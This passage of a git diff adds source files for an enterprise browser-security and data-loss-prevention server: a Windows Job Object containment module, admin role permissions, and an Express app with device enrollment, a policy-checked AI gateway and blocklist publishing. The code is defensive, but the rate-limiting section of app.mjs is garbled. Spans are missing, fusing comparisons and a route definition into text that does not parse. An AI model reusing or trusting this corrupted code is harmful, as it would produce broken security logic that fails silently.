+ + + diff --git a/apps/inspector/windows_containment.py b/apps/inspector/windows_containment.py new file mode 100644 index 0000000..81d12b6 --- /dev/null +++ b/apps/inspector/windows_containment.py @@ -0,0 +1,67 @@ +"""Windows resource containment for the inspector and all descendant workers. + +This is a Job Object, not a restricted-token or filesystem/network sandbox. +The inspector owns the handle: terminating it also terminates its model workers. +""" +import ctypes +import sys +from ctypes import wintypes + +_job_handle = None +MEMORY_LIMIT = 4 * 1024 * 1024 * 1024 +PROCESS_LIMIT = 4 + + +def contain_inspector(): + global _job_handle + if sys.platform != "win32": + return {"active": False, "kind": "unsupported-platform"} + if _job_handle: + return {"active": True, "kind": "windows-job-v1"} + + class BasicLimits(ctypes.Structure): + _fields_ = [("PerProcessUserTimeLimit", ctypes.c_int64), + ("PerJobUserTimeLimit", ctypes.c_int64), ("LimitFlags", wintypes.DWORD), + ("MinimumWorkingSetSize", ctypes.c_size_t), ("MaximumWorkingSetSize", ctypes.c_size_t), + ("ActiveProcessLimit", wintypes.DWORD), ("Affinity", ctypes.c_size_t), + ("PriorityClass", wintypes.DWORD), ("SchedulingClass", wintypes.DWORD)] + + class IOCounters(ctypes.Structure): + _fields_ = [(name, ctypes.c_uint64) for name in + ("ReadOperationCount", "WriteOperationCount", "OtherOperationCount", + "ReadTransferCount", "WriteTransferCount", "OtherTransferCount")] + + class ExtendedLimits(ctypes.Structure): + _fields_ = [("BasicLimitInformation", BasicLimits), ("IoInfo", IOCounters), + ("ProcessMemoryLimit", ctypes.c_size_t), ("JobMemoryLimit", ctypes.c_size_t), + ("PeakProcessMemoryUsed", ctypes.c_size_t), ("PeakJobMemoryUsed", ctypes.c_size_t)] + + kernel = ctypes.WinDLL("kernel32", use_last_error=True) + kernel.CreateJobObjectW.argtypes = [ctypes.c_void_p, wintypes.LPCWSTR] + kernel.CreateJobObjectW.restype = wintypes.HANDLE + kernel.SetInformationJobObject.argtypes = [wintypes.HANDLE, ctypes.c_int, ctypes.c_void_p, wintypes.DWORD] + kernel.SetInformationJobObject.restype = wintypes.BOOL + kernel.AssignProcessToJobObject.argtypes = [wintypes.HANDLE, wintypes.HANDLE] + kernel.AssignProcessToJobObject.restype = wintypes.BOOL + kernel.GetCurrentProcess.restype = wintypes.HANDLE + kernel.CloseHandle.argtypes = [wintypes.HANDLE] + + handle = kernel.CreateJobObjectW(None, None) + if not handle: + raise RuntimeError("Inspector resource containment could not be created") + limits = ExtendedLimits() + # KILL_ON_JOB_CLOSE | JOB_MEMORY | ACTIVE_PROCESS. No BREAKAWAY flags. + limits.BasicLimitInformation.LimitFlags = 0x2000 | 0x200 | 0x8 + limits.BasicLimitInformation.ActiveProcessLimit = PROCESS_LIMIT + limits.JobMemoryLimit = MEMORY_LIMIT + if not kernel.SetInformationJobObject(handle, 9, ctypes.byref(limits), ctypes.sizeof(limits)): + kernel.CloseHandle(handle) + raise RuntimeError("Inspector resource containment limits could not be applied") + if not kernel.AssignProcessToJobObject(handle, kernel.GetCurrentProcess()): + kernel.CloseHandle(handle) + raise RuntimeError("Inspector resource containment could not be attached") + # Retain a non-inheritable owner handle until process exit. Do not close early: + # KILL_ON_JOB_CLOSE also terminates the current inspector process. + _job_handle = handle + return {"active": True, "kind": "windows-job-v1", "memoryBytes": MEMORY_LIMIT, + "maxProcesses": PROCESS_LIMIT, "killsDescendants": True} diff --git a/apps/server/admin-access.mjs b/apps/server/admin-access.mjs new file mode 100644 index 0000000..6b8e35a --- /dev/null +++ b/apps/server/admin-access.mjs @@ -0,0 +1,59 @@ +// Route permissions are enforced before handlers, including routes installed early. +// Permissions from a session payload are never accepted as authority. +export const adminRoles=Object.freeze({ + admin:Object.freeze(['evidence.read','incidents.read','incidents.triage','overview.read','audit.read','policy.read','policy.prepare','policy.write','devices.manage','bookmarks.read','bookmarks.write','teaching.read','teaching.write','integrations.test','sessions.manage']), + operator:Object.freeze(['incidents.read','incidents.triage','overview.read','audit.read','policy.read','policy.prepare','devices.manage','bookmarks.read','bookmarks.write','teaching.read','teaching.write','integrations.test']), + auditor:Object.freeze(['incidents.read','overview.read','audit.read','policy.read','teaching.read']) +}); +export function bootstrapAllowed(config){ + try{const url=new URL(config.publicUrl);return url.protocol==='http:'&&['127.0.0.1','localhost','[::1]'].includes(url.hostname);}catch{return false;} +} +export function normalizePrincipal(principal){ + const role=principal.role??(principal.admin===true?'admin':null); + if(!Object.hasOwn(adminRoles,role))return null; + return {sub:principal.sub,name:principal.name,admin:role==='admin',role,permissions:[...adminRoles[role]]}; +} +export function principalForGroups(identity,groups,config){ + const list=Array.isArray(groups)?groups:[]; + const role=list.includes(config.oidcAdminGroup)?'admin':config.oidcOperatorGroup&&list.includes(config.oidcOperatorGroup)?'operator':config.oidcAuditorGroup&&list.includes(config.oidcAuditorGroup)?'auditor':null; + return role?normalizePrincipal({...identity,role}):{...identity,admin:false}; +} +export function adminRoutePermission(method,url){ + const path=new URL(url,'http://localhost').pathname; + if(method==='GET'){ + if(/^\/api\/admin\/evidence\/[^/]+$/.test(path))return 'evidence.read'; + if(/^\/api\/admin\/incidents(?:\/[^/]+)?$/.test(path))return 'incidents.read'; + if(path==='/api/admin/user-profiles')return 'policy.read'; + if(path==='/api/admin/policy-groups')return 'policy.read'; + if(/^\/api\/admin\/policy-reviews(?:\/[^/]+)?$/.test(path))return 'policy.read'; + if(path==='/api/admin/policy/history'||/^\/api\/admin\/policy\/history\/\d+$/.test(path)||path==='/api/admin/policy/diff')return 'policy.read'; + if(path==='/api/admin/sessions')return 'sessions.manage'; + if(path==='/api/admin/overview'||path==='/api/admin/session')return 'overview.read'; + if(path==='/api/admin/events/export')return 'audit.read'; + if(path==='/api/admin/teaching')return 'teaching.read'; + if(/^\/api\/admin\/devices\/[^/]+\/bookmarks$/.test(path))return 'bookmarks.read'; + if(['/api/admin/management-channel','/api/admin/presets','/api/admin/integrations'].includes(path))return 'policy.read'; + } + if(method==='POST'&&path==='/api/admin/incidents')return 'incidents.triage'; + if(method==='PATCH'&&/^\/api\/admin\/incidents\/[^/]+$/.test(path))return 'incidents.triage'; + if(method==='POST'&&path==='/api/admin/policy-reviews')return 'policy.prepare'; + if(method==='POST'&&path==='/api/admin/user-profiles/preview')return 'policy.read'; + if(method==='PUT'&&path==='/api/admin/user-profile-configuration')return 'policy.write'; + if(['PUT','DELETE'].includes(method)&&/^\/api\/admin\/user-profiles\/[^/]+$/.test(path))return 'policy.write'; + if(method==='POST'&&path==='/api/admin/policy-groups/preview')return 'policy.read'; + if(['PUT','DELETE'].includes(method)&&/^\/api\/admin\/policy-groups\/[^/]+$/.test(path))return 'policy.write'; + if(method==='POST'&&/^\/api\/admin\/policy-reviews\/[^/]+\/(approve|reject)$/.test(path))return 'policy.write'; + if(method==='POST'&&path==='/api/admin/policy/restore')return 'policy.write'; + if(method==='POST'&&/^\/api\/admin\/sessions\/[^/]+\/revoke$/.test(path))return 'sessions.manage'; + if(method==='PUT'&&/^\/api\/admin\/devices\/[^/]+\/bookmarks$/.test(path))return 'bookmarks.write'; + if(method==='POST'&&(path==='/api/admin/enrollments'||/^\/api\/admin\/devices\/[^/]+\/revoke$/.test(path)))return 'devices.manage'; + // Per-device inspection changes publish the shared policy version. + if(method==='PATCH'&&/^\/api\/admin\/devices\/[^/]+\/inspection$/.test(path))return 'policy.write'; + if(method==='PUT'&&['/api/admin/policy','/api/admin/security/blocklists'].includes(path))return 'policy.write'; + if(method==='POST'&&/^\/api\/admin\/teaching\/[^/]+\/publish$/.test(path))return 'policy.write'; + if(method==='POST'&&path==='/api/admin/integrations/icap/probe')return 'integrations.test'; + if(method==='POST'&&['/api/admin/teaching','/api/admin/semantic/reference','/api/admin/semantic/document-reference','/api/admin/security/visual-reference'].includes(path))return 'teaching.write'; + if(method==='POST'&&['/api/admin/policy/test','/api/admin/presets/preview'].includes(path))return 'policy.read'; + return null; // New endpoints require an explicit permission; never infer from HTTP method. +} + diff --git a/apps/server/app.mjs b/apps/server/app.mjs new file mode 100644 index 0000000..749f5df --- /dev/null +++ b/apps/server/app.mjs @@ -0,0 +1,285 @@ +import express from 'express'; +import transferFacts from '../../packages/core/transfer-facts.cjs'; +import {installEvidence} from './evidence.mjs'; +import {installIncidents} from './incidents.mjs'; +import { installBookmarkRoutes,globalBookmarksValid } from './bookmarks.mjs'; +import { z } from 'zod'; +import { randomUUID,timingSafeEqual } from 'node:crypto'; +import { fileURLToPath } from 'node:url'; +import { PolicySchema, inspect, inspectForAI, allowsConfidentialLocal } from '../../packages/core/policy.mjs'; +import { digest, token } from './store.mjs'; +import {policyPublisher} from './policy-review.mjs'; +import {installPolicyHistory} from './policy-history.mjs'; +import {installUserProfiles} from './user-profiles.mjs'; +import {installPolicyGroups} from './policy-groups.mjs'; +import { adminMiddleware, authRoutes,cookie } from './auth.mjs'; +import {bootstrapAllowed,normalizePrincipal} from './admin-access.mjs'; +import { tracer } from './telemetry.mjs'; +import { toECS,toCEF } from '../../packages/core/siem.mjs'; +import { inspector } from './inspection.mjs'; +import { SecuritySchema, VisualBrandSchema, VisualOriginSchema } from '../../packages/core/security.mjs'; +import { defaultSemantic } from '../../packages/core/semantic.mjs'; +import { installPolicyChannel } from './policy-channel.mjs'; +import enterpriseInspection from '../browser/enterprise-inspection.cjs'; +import icapClient from '../browser/icap-client.cjs'; +import {EnterpriseSchema} from '../../packages/core/enterprise.mjs'; +import { policyPresets, previewPreset } from '../../packages/core/presets.mjs'; +import { enterpriseReadiness } from '../../packages/core/enterprise.mjs'; + +export function createApp(store,config) { + const app=express();app.disable('x-powered-by'); + const limits=new Map(); + app.use((req,res,next)=>{ + res.set({'X-Content-Type-Options':'nosniff','Referrer-Policy':'no-referrer','Cache-Control':'no-store', + 'Content-Security-Policy':"default-src 'self'; script-src 'self'; style-src 'self'; connect-src 'self'; img-src 'self'; object-src 'none'; frame-ancestors 'none'; base-uri 'none'; form-action 'self'"}); + if(!['GET','HEAD','OPTIONS'].includes(req.method)) { + if(req.headers.origin && req.headers.origin!==config.publicUrl) return res.status(403).json({error:'Origin rejected'}); + if(req.headers['sec-fetch-site']==='cross-site') return res.status(403).json({error:'Cross-site request rejected'}); + } + const now=Date.now(),auth=(req.headers.authorization||'').replace(/^Bearer /,''); + // Corporate NATs share an IP. Only an authenticated, active device gets its + // own bucket; arbitrary bearer strings cannot evade the IP limit. + const enrolled=auth.length>=32&&auth.length<=200?store.db.prepare('SELECT id FROM devices WHERE token_hash=? AND revoked=0').get(digest(auth)):null; + const bootstrap=bootstrapAllowed(config)&&auth&&config.adminToken&&timingSafeEqual(Buffer.from(digest(auth)),Buffer.from(digest(config.adminToken))); + const sessionCredential=cookie(req,'sn_session'); + const sessionIdentity=!enrolled&&!bootstrap&&sessionCredential.length>=32&&sessionCredential.length<=200?store.db.prepare('SELECT hash FROM sessions WHERE hash=? AND expires>?').get(digest(sessionCredential),now):null; + const key=enrolled?`device:${enrolled.id}`:bootstrap?'admin:bootstrap':sessionIdentity?`admin:${sessionIdentity.hash}`:`ip:${req.socket.remoteAddress||'unknown'}`; + let count=limits.get(key);if(!count || count.until300) return res.status(429).json({error:'Rate limit exceeded'}); + if(limits.size>10000)for(const [k,v] of limits)if(v.untilres.json({status:'ok',version:'0.1.0'})); + app.get('/api/auth/status',(_req,res)=>res.json({sso:!!config.oidcIssuer,publicUrl:config.publicUrl,bootstrapAllowed:bootstrapAllowed(config)})); + authRoutes(app,store,config); + const admin=adminMiddleware(store,config); + const device=(req,res,next)=>{ + const auth=(req.headers.authorization||'').replace(/^Bearer /,''); + const d=store.db.prepare('SELECT * FROM devices WHERE token_hash=? AND revoked=0').get(digest(auth)); + if(!d)return res.status(401).json({error:'Device is unenrolled or revoked'}); + req.device=d;next(); + }; + installBookmarkRoutes(app,store,device,admin); + installEvidence(app,store,config,device,admin); + const managementChannel=installPolicyChannel(app,store,device); + app.get('/api/admin/management-channel',admin,(_req,res)=>res.json({version:managementChannel.version,signatureKey:managementChannel.signatureKey,requirePQManagement:!!config.requirePQManagement})); + function enroll(user,body,protectedBootstrap=false,verified=false) { + const b=z.object({name:z.string().min(1).max(100),platform:z.enum(['win32','darwin','linux'])}).parse(body); + const id=randomUUID(),credential=token(); + store.db.prepare('INSERT INTO devices(id,name,platform,user,token_hash,last_seen) VALUES(?,?,?,?,?,?)').run(id,b.name,b.platform,user,digest(credential),new Date().toISOString()); + if(verified)store.db.prepare('UPDATE devices SET verified_subject=? WHERE id=?').run(user,id); + store.event(id,'device.enrolled',{platform:b.platform,actor:user}); + return {id,token:credential,publicKey:store.publicKey(),...(!config.requirePQManagement&&!protectedBootstrap?{policy:store.envelope(id)}:{}),managementChannel}; + } + app.post('/api/device/enroll',(req,res)=>{ + const code=z.string().min(20).max(200).parse(req.body.code); + const e=store.db.prepare('SELECT * FROM enrollments WHERE hash=? AND expires>?').get(digest(code),Date.now()); + if(!e)return res.status(401).json({error:'Enrollment code invalid or expired'}); + // Validate before consuming the one-use code. + z.object({name:z.string().min(1).max(100),platform:z.enum(['win32','darwin','linux'])}).parse(req.body); + store.db.prepare('DELETE FROM enrollments WHERE hash=?').run(e.hash);res.json(enroll(e.user,req.body,req.headers['x-safetynet-pq-bootstrap']==='1')); + }); + app.post('/api/device/sso/start',(req,res)=>{ + if(!config.oidcIssuer)return res.status(409).json({error:'SSO not configured'}); + const id=token(),secret=token();store.db.prepare('INSERT INTO tickets VALUES(?,?,?,?)').run(id,digest(secret),Date.now()+300000,null); + res.json({id,secret,url:`${config.publicUrl}/auth/login?ticket=${id}`}); + }); + app.post('/api/device/sso/poll',(req,res)=>{ + const b=z.object({id:z.string().max(100),secret:z.string().max(100),name:z.string().min(1).max(100),platform:z.enum(['win32','darwin','linux'])}).parse(req.body); + const t=store.db.prepare('SELECT * FROM tickets WHERE id=? AND secret_hash=? AND expires>?').get(b.id,digest(b.secret),Date.now()); + if(!t)return res.status(401).json({error:'Device login expired'}); + if(!t.credential)return res.status(202).json({pending:true}); + store.db.prepare('DELETE FROM tickets WHERE id=?').run(b.id);res.json(enroll(JSON.parse(t.credential).sub,b,req.headers['x-safetynet-pq-bootstrap']==='1',true)); + }); + app.get('/api/device/policy',device,(req,res)=>config.requirePQManagement?res.status(403).json({error:'Protected management channel required'}):res.json(store.envelope(req.device.id))); + app.post('/api/device/heartbeat',device,(req,res)=>{ + const b=z.object({policyVersion:z.number().int().nonnegative()}).parse(req.body); + store.db.prepare('UPDATE devices SET last_seen=?,policy_version=? WHERE id=?').run(new Date().toISOString(),b.policyVersion,req.device.id);res.json({ok:true}); + }); + app.post('/api/device/events',device,(req,res)=>{ + const b=z.object({eventId:z.string().uuid(),kind:z.enum(['dlp.block','navigation.block','download.block','policy.applied','browser.started','agent.action','agent.denied','devtools.open-requested','devtools.opened','devtools.closed','devtools.denied','download.scan','download.released','upload.authorized','upload.block','dns.block','content.block','vault.created','vault.unlocked','vault.locked','vault.saved','vault.deleted','vault.filled','vault.fill-requested','phishing.block','phishing.error','phishing.scanned','clipboard.block','clipboard.copy','clipboard.cut','clipboard.paste']),ruleId:z.string().max(100).optional(),host:z.string().max(253).optional(),policyVersion:z.number().int().positive(),traceId:z.string().regex(/^[a-f0-9]{32}$/).optional(),spanId:z.string().regex(/^[a-f0-9]{16}$/).optional(),file:transferFacts.FileFactsSchema.optional()}).strict().parse(req.body); + if(b.file&&!b.kind.startsWith('download.')&&!b.kind.startsWith('upload.'))return res.status(400).json({error:'File facts require a transfer event'}); + if(b.kind.startsWith('vault.')&&(b.host!==undefined||b.ruleId!==undefined))return res.status(400).json({error:'Vault audit events accept lifecycle metadata only'}); + store.db.exec('BEGIN IMMEDIATE');try{ + const inserted=store.db.prepare('INSERT OR IGNORE INTO device_events VALUES(?,?)').run(req.device.id,b.eventId); + if(inserted.changes)store.event(req.device.id,b.kind,b);store.db.exec('COMMIT');res.json({ok:true}); + }catch(e){store.db.exec('ROLLBACK');throw e;} + }); + app.post('/api/device/ai',device,async(req,res,next)=>{ + await tracer.startActiveSpan('ai.gateway',async span=>{ + try { + const b=z.object({prompt:z.string().min(1).max(100000)}).strict().parse(req.body),p=store.effectivePolicy(req.device.id); + if(Date.parse(p.expiresAt)<=Date.now())return res.status(403).json({error:'Policy expired'}); + const local=p.ai.trustMode==='local'; + if(!p.ai.enabled || !config.aiBaseUrl || (!local&&!config.aiKey) || p.ai.model!==config.aiModel || p.ai.endpointId!==(config.aiEndpointId||'default'))return res.status(409).json({error:'Approved AI provider is not configured'}); + const endpoint=new URL(`${config.aiBaseUrl.replace(/\/$/,'')}/${p.ai.provider==='ollama'?'api/chat':'chat/completions'}`); + if(endpoint.username||endpoint.password||endpoint.search||endpoint.hash)throw Error('AI endpoint credentials and query forbidden'); + if(local ? !(['127.0.0.1','[::1]'].includes(endpoint.hostname)&&['http:','https:'].includes(endpoint.protocol)) : endpoint.protocol!=='https:')throw Error('AI endpoint trust policy rejected'); + async function aiInspect(text){let verdict=inspectForAI(Buffer.from(text),p);if(verdict.decision==='allow'&&(p.dlp.semantic.enabled||p.security.yara.enabled)){const semantic=await inspector(config,'/inspect',{data:Buffer.from(text).toString('base64'),policy:p});if(semantic.decision==='block')verdict=allowsConfidentialLocal(semantic,p)?{...semantic,decision:'allow',classification:'local-only'}:semantic;}if(verdict.decision==='allow'){const external=await enterpriseInspection.scanEnterprise(Buffer.from(text),p,'ai');if(external.decision!=='allow')verdict=external;}return verdict;} + const verdict=await aiInspect(b.prompt); + store.event(req.device.id,'ai.decision',{...verdict,policyVersion:p.version}); + span.setAttribute('dlp.decision',verdict.decision); + if(verdict.decision==='block')return res.status(403).json({error:'Company policy blocked this prompt',ruleId:verdict.ruleId}); + const upstream=await fetch(endpoint,{method:'POST',redirect:'error',headers:{'content-type':'application/json',...(config.aiKey?{authorization:`Bearer ${config.aiKey}`}:{})},body:JSON.stringify({model:p.ai.model,messages:[{role:'user',content:b.prompt}],stream:false}),signal:AbortSignal.timeout(60000)}); + if(!upstream.ok)return res.status(502).json({error:'AI provider request failed'}); + const text=await readLimited(upstream,2*1024*1024);const result=JSON.parse(text); + const answer=z.string().max(100000).parse(p.ai.provider==='ollama'?result.message?.content:result.choices?.[0]?.message?.content); + const output=await aiInspect(answer); + store.event(req.device.id,'ai.output-decision',{...output,policyVersion:p.version}); + if(output.decision==='block') {store.event(req.device.id,'ai.output-block',{ruleId:output.ruleId,policyVersion:p.version});return res.status(403).json({error:'AI response blocked by company policy',ruleId:output.ruleId});} + res.json({answer}); + }catch(e){store.event(req.device.id,'ai.failure',{policyVersion:store.get('policy').version});next(e);}finally{span.end();} + }); + }); + app.use('/api/admin',admin); + installIncidents(app,store); + app.get('/api/admin/session',(req,res)=>res.json({principal:req.principal})); + app.get('/api/admin/sessions',(req,res)=>{ + const rows=store.db.prepare('SELECT hash,expires,principal FROM sessions WHERE expires>? ORDER BY expires DESC LIMIT 501').all(Date.now()); + const sessions=[];store.db.exec('BEGIN IMMEDIATE'); + try{ + for(const row of rows.slice(0,500)){ + const principal=normalizePrincipal(JSON.parse(row.principal));if(!principal)continue; + let handle=store.db.prepare('SELECT handle FROM management_session_handles WHERE session_hash=?').get(row.hash)?.handle; + if(!handle){handle=randomUUID();store.db.prepare('INSERT INTO management_session_handles VALUES(?,?)').run(handle,row.hash);} + sessions.push({id:handle,subject:principal.sub,name:principal.name||principal.sub,role:principal.role,expiresAt:new Date(row.expires).toISOString()}); + } + store.event(null,'management.sessions-reviewed',{actor:req.principal.sub,count:sessions.length});store.db.exec('COMMIT'); + }catch(error){store.db.exec('ROLLBACK');throw error;} + res.json({sessions,truncated:rows.length>500}); + }); + app.post('/api/admin/sessions/:id/revoke',(req,res)=>{ + const id=z.string().uuid().parse(req.params.id);z.object({}).strict().parse(req.body); + const target=store.db.prepare('SELECT session_hash FROM management_session_handles WHERE handle=?').get(id); + if(!target)return res.status(404).json({error:'Management session not found'}); + store.db.exec('BEGIN IMMEDIATE'); + try{const result=store.db.prepare('DELETE FROM sessions WHERE hash=?').run(target.session_hash);if(!result.changes)throw Error('Session revocation conflict');store.event(null,'management.session-revoked',{actor:req.principal.sub,count:1});store.db.exec('COMMIT');} + catch(error){store.db.exec('ROLLBACK');throw error;} + res.json({ok:true,revoked:1}); + }); + app.post('/api/admin/integrations/icap/probe',async(req,res,next)=>{ + try{const settings=EnterpriseSchema.parse({icap:req.body}).icap;const result=await icapClient.probeIcap(settings,enterpriseInspection.deploymentTLS());store.event(null,'integration.tested',{actor:req.principal.sub,integration:'icap',ready:result.ready});res.json({...result,scope:'management-server',check:'options-only',contentSent:false});} + catch{res.status(400).json({error:'ICAP configuration or deployment certificates are unavailable'});} + }); + app.get('/api/admin/presets',(_req,res)=>res.json({presets:policyPresets})); + app.get('/api/admin/integrations',(_req,res)=>res.json({readiness:enterpriseReadiness(store.get('policy'))})); + app.post('/api/admin/presets/preview',(req,res)=>{const b=z.object({id:z.string().max(80),policy:PolicySchema}).strict().parse(req.body);if(!policyPresets.some(p=>p.id===b.id))return res.status(400).json({error:'Unknown enterprise preset'});res.json(previewPreset(b.policy,b.id));}); + const publisher=policyPublisher(app,store,config); + installPolicyGroups(app,store,publisher); + installUserProfiles(app,store,publisher); + installPolicyHistory(app,store,publisher); + app.put('/api/admin/security/blocklists',(req,res)=>{ + const b=z.object({expectedVersion:z.number().int().positive(),blockedHosts:z.array(z.string()).max(10000),blockedIPs:z.array(z.string()).max(10000)}).strict().parse(req.body); + SecuritySchema.parse({dns:{blockedHosts:b.blockedHosts,blockedIPs:b.blockedIPs}}); + const p=PolicySchema.parse(store.get('policy'));if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + p.security.dns.blockedHosts=b.blockedHosts;p.security.dns.blockedIPs=b.blockedIPs;p.version++; + publisher.submit(req,res,p,'security.blocklists-published'); + }); + app.post('/api/admin/security/visual-reference',async(req,res,next)=>{ + try{ + const b=z.object({expectedVersion:z.number().int().positive(),brandId:z.string().min(1).max(80),label:z.string().min(1).max(100),allowedOrigins:z.array(VisualOriginSchema).min(1).max(50),data:z.string().max(1800000).regex(/^[A-Za-z0-9+/]*={0,2}$/),scope:z.enum(['viewport','login-form'])}).strict().parse(req.body); + if(store.get('policy').version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + const bytes=Buffer.from(b.data,'base64');if(!bytes.length||bytes.length>1024*1024||bytes.toString('base64')!==b.data)return res.status(400).json({error:'Reference must be canonical base64 PNG up to 1 MB'}); + const {fingerprintPNG}=await import('../../packages/core/visual-image.cjs');const result=fingerprintPNG(bytes); + if(result.usable!==true)return res.status(400).json({error:'Reference has insufficient visual detail; use a trusted nonblank login screenshot'}); + const reference={hash:result.hash,algorithm:'phash-dct32-v1',scope:b.scope,viewport:{width:result.width,height:result.height}}; + const brand=VisualBrandSchema.parse({id:b.brandId,label:b.label,allowedOrigins:b.allowedOrigins,references:[reference]}); + store.event(null,'phishing.reference-derived',{actor:req.principal.sub,ruleId:b.brandId,version:b.expectedVersion}); + const quality=z.object({contrast:z.number().finite(),stddev:z.number().finite(),dynamicRange:z.number().finite(),entropy:z.number().finite(),detail:z.number().finite()}).parse(result.quality); + res.json({brand,quality:{...quality,width:result.width,height:result.height},warning:'Draft only. Explicitly publish signed policy to enable this reference. Perceptual similarity is not proof of a phishing page; use trusted reference images and validate false positives.'}); + }catch(e){next(e);} + }); + app.get('/api/admin/teaching',(_req,res)=>res.json({drafts:store.db.prepare('SELECT * FROM teaching ORDER BY time DESC LIMIT 100').all().map(r=>({...r,reference:JSON.parse(r.reference)}))})); + app.post('/api/admin/teaching',async(req,res,next)=>{ + try{const b=z.object({label:z.string().min(1).max(100),data:z.string().max(1400000).regex(/^[A-Za-z0-9+/]*={0,2}$/),filename:z.string().max(200)}).strict().parse(req.body);const bytes=Buffer.from(b.data,'base64');if(!bytes.length||bytes.length>1024*1024)return res.status(413).json({error:'Reference document limit is 1 MB'}); + const reference=await inspector(config,'/reference-document',{data:b.data,filename:b.filename}); + const id=randomUUID();store.db.prepare('INSERT INTO teaching VALUES(?,?,?,?,?,?,?,?)').run(id,new Date().toISOString(),req.principal.sub,b.label,'draft',JSON.stringify(reference),null,null);store.event(null,'teaching.drafted',{actor:req.principal.sub,referenceId:id});res.json({id,reference,status:'draft'}); + }catch(e){next(e);} + }); + app.post('/api/admin/teaching/:id/publish',(req,res)=>{ + const b=z.object({expectedVersion:z.number().int().positive(),approve:z.literal(true),mode:z.enum(['complete','available-fingerprints']).default('complete')}).strict().parse(req.body),draft=store.db.prepare("SELECT * FROM teaching WHERE id=? AND status='draft'").get(req.params.id); + if(!draft)return res.status(404).json({error:'Draft not found'});const p=PolicySchema.parse(store.get('policy'));if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + const reference=JSON.parse(draft.reference);if(!reference.registrationReady&&b.mode==='complete')return res.status(409).json({error:'Complete local inspection required before publication; available-fingerprints mode can explicitly approve partial coverage'});p.dlp.rules.push({id:draft.id,label:draft.label,kind:'sha256',value:reference.sha256,action:'block'}); + for(const [index,value] of reference.fragmentHashes.slice(0,1000).entries())p.dlp.rules.push({id:`${draft.id}:${index}`,label:draft.label,kind:'fragment-sha256',value,action:'block'});p.version++;PolicySchema.parse(p); + const coverage=reference.registrationReady?'complete':'partial';publisher.submit(req,res,p,'teaching.published',{type:'teaching',id:draft.id,coverage,mode:b.mode},{coverage}); + }); + app.get('/api/admin/overview',(req,res)=>{ + let policy,migrationRequired=false;try{policy=store.get('policy');}catch(error){if(!(error instanceof z.ZodError))throw error;const raw=store.getRaw('policy');policy=PolicySchema.parse({...raw,dlp:{...raw.dlp,semantic:defaultSemantic()}});migrationRequired=true;} + const devices=store.db.prepare('SELECT id,name,platform,user,revoked,last_seen,policy_version,document_analysis_enabled FROM devices ORDER BY last_seen DESC').all().map(d=>({...d,documentAnalysisEnabled:d.document_analysis_enabled===null?policy.inspection.documentAnalysisEnabled:!!d.document_analysis_enabled})); + const alerts=store.db.prepare('SELECT * FROM alerts ORDER BY id DESC LIMIT 100').all(); + const events=store.db.prepare('SELECT * FROM events ORDER BY id DESC LIMIT 100').all().map(e=>({...e,metadata:JSON.parse(e.metadata)})); + res.json({policy,migrationRequired,publicKey:store.publicKey(),devices,events,alerts,principal:req.principal,siem:config.siemStatus?.()||null,auditRetention:config.auditRetentionStatus?.()||{enabled:false},governance:{requireIndependentPolicyApproval:!!config.requireIndependentPolicyApproval}}); + }); + app.get('/api/admin/events/export',(req,res)=>{ + const query=z.object({after:z.coerce.number().int().nonnegative().default(0),limit:z.coerce.number().int().min(1).max(1000).default(100),format:z.enum(['ecs','cef']).default('ecs')}).parse(req.query); + const rows=store.db.prepare('SELECT * FROM events WHERE id>? ORDER BY id LIMIT ?').all(query.after,query.limit).map(e=>({...e,metadata:JSON.parse(e.metadata)})); + res.setHeader('X-SafetyNet-Next-Cursor',String(rows.at(-1)?.id??query.after)); + res.type(query.format==='ecs'?'application/x-ndjson':'text/plain').send(rows.map(e=>query.format==='ecs'?JSON.stringify(toECS(e,store.get('installationId'))):toCEF(e,store.get('installationId'))).join('\n')+(rows.length?'\n':'')); + }); + app.put('/api/admin/policy',(req,res)=>{ + const p=PolicySchema.parse(req.body),previous=store.getRaw('policy'); + if(!globalBookmarksValid(store,p))return res.status(400).json({error:'Global policies require empty personal bookmarks and distinct company IDs'}); + if(p.version!==previous.version+1)return res.status(409).json({error:'Refresh the console: version must increase by exactly one'}); + const expires=Date.parse(p.expiresAt);if(expires<=Date.now() || expires>Date.now()+30*86400000)return res.status(400).json({error:'Policy expiry must be within the next 30 days'}); + publisher.submit(req,res,p); + }); + app.post('/api/admin/enrollments',(req,res)=>{ + const user=z.string().min(1).max(200).parse(req.body.user),code=token(); + store.db.prepare('INSERT INTO enrollments VALUES(?,?,?)').run(digest(code),Date.now()+600000,user); + store.event(null,'enrollment.created',{actor:req.principal.sub,user});res.json({code,expiresInSeconds:600}); + }); + app.post('/api/admin/devices/:id/revoke',(req,res)=>{ + const r=store.db.prepare('UPDATE devices SET revoked=1 WHERE id=? AND revoked=0').run(req.params.id); + if(!r.changes)return res.status(404).json({error:'Active device not found'}); + store.event(req.params.id,'device.revoked',{actor:req.principal.sub});res.json({ok:true}); + }); + app.patch('/api/admin/devices/:id/inspection',(req,res)=>{ + const b=z.object({expectedVersion:z.number().int().positive(),documentAnalysisEnabled:z.boolean()}).strict().parse(req.body),p=store.get('policy'); + if(p.version!==b.expectedVersion)return res.status(409).json({error:'Policy version conflict'}); + if(!store.db.prepare('SELECT id FROM devices WHERE id=? AND revoked=0').get(req.params.id))return res.status(404).json({error:'Active device not found'}); + p.version++;publisher.submit(req,res,p,'inspection.policy-published',{type:'inspection',deviceId:req.params.id,enabled:b.documentAnalysisEnabled},{documentAnalysisEnabled:b.documentAnalysisEnabled}); + }); + app.post('/api/admin/policy/test',async(req,res,next)=>{ + try{const b=z.object({text:z.string().max(100000),policy:PolicySchema}).parse(req.body);let result=inspect(Buffer.from(b.text),b.policy); + if(result.decision==='allow'&&b.policy.dlp.semantic.enabled)result=await inspector(config,'/inspect',{data:Buffer.from(b.text).toString('base64'),policy:b.policy});res.json(result); + }catch(e){next(e);} + }); + app.post('/api/admin/semantic/reference',async(req,res,next)=>{ + try{ + const b=z.object({description:z.string().min(10).max(4000)}).strict().parse(req.body); + const result=await inspector(config,'/embed',{data:Buffer.from(b.description).toString('base64')}); + if(!result.coverage.complete||!result.coverage.extractionComplete)return res.status(409).json({error:'Complete local text inspection is required to create a semantic reference'}); + store.event(null,'semantic.reference-created',{actor:req.principal.sub,model:result.model,revision:result.revision,dimensions:result.dimensions});res.json(result); + }catch(e){next(e);} + }); + app.post('/api/admin/semantic/document-reference',async(req,res,next)=>{ + 